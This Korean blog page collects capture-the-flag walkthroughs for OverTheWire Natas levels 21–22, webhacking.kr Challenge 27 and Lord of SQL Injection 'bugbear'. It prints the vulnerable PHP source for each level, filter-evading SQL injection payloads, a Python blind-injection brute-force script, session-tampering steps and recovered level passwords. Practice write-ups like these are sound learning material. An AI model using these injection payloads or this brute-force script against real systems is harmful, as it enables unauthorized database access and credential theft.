위는 natas22의 초기화면이다.

 

아래 코드는 View sourcecode를 통해 확인해주었다.

<?php
session_start();

if(array_key_exists("revelio", $_GET)) {
    // only admins can reveal the password
    if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
    header("Location: /");
    }
}
?>


<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas22", "pass": "<censored>" };</script></head>
<body>
<h1>natas22</h1>
<div id="content">

<?php
    if(array_key_exists("revelio", $_GET)) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas23\n";
    print "Password: <censored></pre>";
    }
?>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

$_GET에 revelio라는키가 있으면 natas23의 비밀번호를 획득할 수 있다.

burp suite로 location을 변경해보자.

 

먼저 location을 변경하지 않은 상태는 아래와 같았다.

 

위치를 revelio로 변경한 후의 burp suite는 아래와 같았으며, response에서 natas23의 비밀번호를 찾을 수 있었다.

 

|qjA8cOoKFTzJhtV0Fzvt92fgvxVnVRBj

'Web Hacking > Natas' 카테고리의 다른 글

[Natas] Level 23 > Level 24  (0) 2022.11.19
[Natas] Level 22 > Level 23  (0) 2022.11.12
[Natas] Level 20 > Level 21  (0) 2022.10.09
[Natas] Level 19 > Level 20  (0) 2022.10.02
[Natas] Level 18 > Level 19  (0) 2022.09.24

위는 Challenge 27의 초기 화면이다.

 

view-source를 이용해 아래 코드를 확인해주었다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>

위 코드와 같이 id가 admin이면 된다.

admin's no는 2라고 적혀있다.

 

id='guest' and (0) or no like 2-- 를 통해 no를 2로 만들어주었다.

 

?no=0%29%09or%09no%09like%092--%09

 

 

 

'Web Hacking > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] Challenge 23  (0) 2022.11.12
[webhacking.kr] Challenge 47  (0) 2022.11.06
[webhacking.kr] Challenge 25  (0) 2022.10.02
[webhacking.kr] Challenge 19  (0) 2022.09.24
[webhacking.kr] Challenge 20  (0) 2022.09.18

pw에서 싱글쿼터의 입력을 막아두었고,

no에서는 substr, ascii, =, or, and, like, 0x, 공백의 입력을 막아두고 있다.

 

위와 같은 쿼리를 통해 패스워드의 길이가 8임을 알 수 있었다.

?no=1%09||%09id%09in%09("admin")%26%26length(pw)%09in%09(8)

 

아래는 비밀번호 구하는 자동화 스크립트이다.

ascii를 사용하지 못하기 때문에 hex를 이용해주었다.

import requests

url="https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?"
cookies = {'PHPSESSID' : '4mq62u7cdjpstq522icoooqir5'}

arr=[]    
for k in range(1,9):
    for j in range(32,127):
        val='no=1%0a%7c%7c%0aid%0ain%0a("admin")%26%26mid(pw,'+str(k)+',1)%0ain%0a("'+chr(j)+'")'
        res=requests.get(url+val, cookies=cookies)
        if "Hello admin" in res.text:
            arr.append(chr(j))
            print(arr)
            break
print("password=",arr)

 

이 비밀번호를 이용해 ?pw=52dc3991를 입력해주었더니 아래와 같이 Clear하였다.

'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] assassin  (0) 2022.11.12
[Lord of SQL Injection] Giant  (0) 2022.11.06
[Lord of SQL Injection] darkknight  (0) 2022.10.02
[Lord of SQL Injection] Golem  (0) 2022.09.24
[Lord of SQL Injection] Skeleton  (0) 2022.09.18

위는 natas21의 초기화면이다.

 

아래 코드는 View sourcecode를 통해 확인해주었다.

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas21", "pass": "<censored>" };</script></head>
<body>
<h1>natas21</h1>
<div id="content">
<p>
<b>Note: this website is colocated with <a href="http://natas21-experimenter.natas.labs.overthewire.org">http://natas21-experimenter.natas.labs.overthewire.org</a></b>
</p>

<?php

function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas22\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.";
    }
}
/* }}} */

session_start();
print_credentials();

?>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

$_SESSION에 admin이 포함되어 있으며, $_SESSION["admin"]이 1이 되어야 한다.

 

natas21 페이지에 있는 링크로 들어가주었더니 위와 같은 페이지가 떴다.

 

View sourcecode를 통해 아래 코드를 확인해주었다.

<html>
<head><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"></head>
<body>
<h1>natas21 - CSS style experimenter</h1>
<div id="content">
<p>
<b>Note: this website is colocated with <a href="http://natas21.natas.labs.overthewire.org">http://natas21.natas.labs.overthewire.org</a></b>
</p>
<?php

session_start();

// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
    foreach($_REQUEST as $key => $val) {
    $_SESSION[$key] = $val;
    }
}

if(array_key_exists("debug", $_GET)) {
    print "[DEBUG] Session contents:<br>";
    print_r($_SESSION);
}

// only allow these keys
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow");
$form = "";

$form .= '<form action="index.php" method="POST">';
foreach($validkeys as $key => $defval) {
    $val = $defval;
    if(array_key_exists($key, $_SESSION)) {
    $val = $_SESSION[$key];
    } else {
    $_SESSION[$key] = $val;
    }
    $form .= "$key: <input name='$key' value='$val' /><br>";
}
$form .= '<input type="submit" name="submit" value="Update" />';
$form .= '</form>';

$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";";
$example = "<div style='$style'>Hello world!</div>";

?>

<p>Example:</p>
<?=$example?>

<p>Change example values here:</p>
<?=$form?>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

 

먼저 natas21-experimenter 페이지에 burpsuite를 이용하여 admin의 값을 1로 만들어었다.

17줄에 &admin=1을 붙여주었다.

 

그리고 natas21페이지 세션ID를 natas21-experimenter 페이지의 세션 ID로 바꿔주었다.

 

이를 통해 natas22 비밀번호를 얻을 수 있었다.

|91awVM9oDiUGm33JdzM7RVLBS8bz9n0s

'Web Hacking > Natas' 카테고리의 다른 글

[Natas] Level 22 > Level 23  (0) 2022.11.12
[Natas] Level 21 > Level 22  (0) 2022.11.05
[Natas] Level 19 > Level 20  (0) 2022.10.02
[Natas] Level 18 > Level 19  (0) 2022.09.24
[Natas] Level 17 > Level 18  (0) 2022.09.18

+ Recent posts